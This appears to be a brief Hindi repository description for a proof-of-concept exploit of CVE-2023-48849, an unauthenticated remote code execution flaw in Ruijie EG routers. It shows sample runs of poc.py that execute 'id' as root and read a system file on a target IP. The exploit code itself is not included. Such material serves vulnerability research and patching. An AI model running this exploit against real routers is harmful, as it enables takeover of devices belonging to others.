delsploit/cve-2023-48849रुइजी EG सीरीज़ राउटर (फर्मवेयर <=EG_3.0(1)B11P216) में बिना प्रमाणीकरण के रिमोट कोड निष्पादन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। तैयार किए गए HTTP अनुरोधों के माध्यम से मनमाने कमांड निष्पादित करता है।
Ruijie EG सीरीज़ राउटर का फर्मवेयर <=EG_3.0(1)B11P216 गलत फ़िल्टरिंग के कारण अप्रमाणित हमलावरों को दूरस्थ रूप से मनमाना कोड निष्पादित करने की अनुमति देता है।
$ python3 poc.py 192.168.1.1 'id'
uid=0(root) gid=0(root)
$ python3 poc.py 192.168.1.1 'grep TARGET /etc/openwrt_release'
DISTRIB_TARGET='mediatek/eg310gh-e'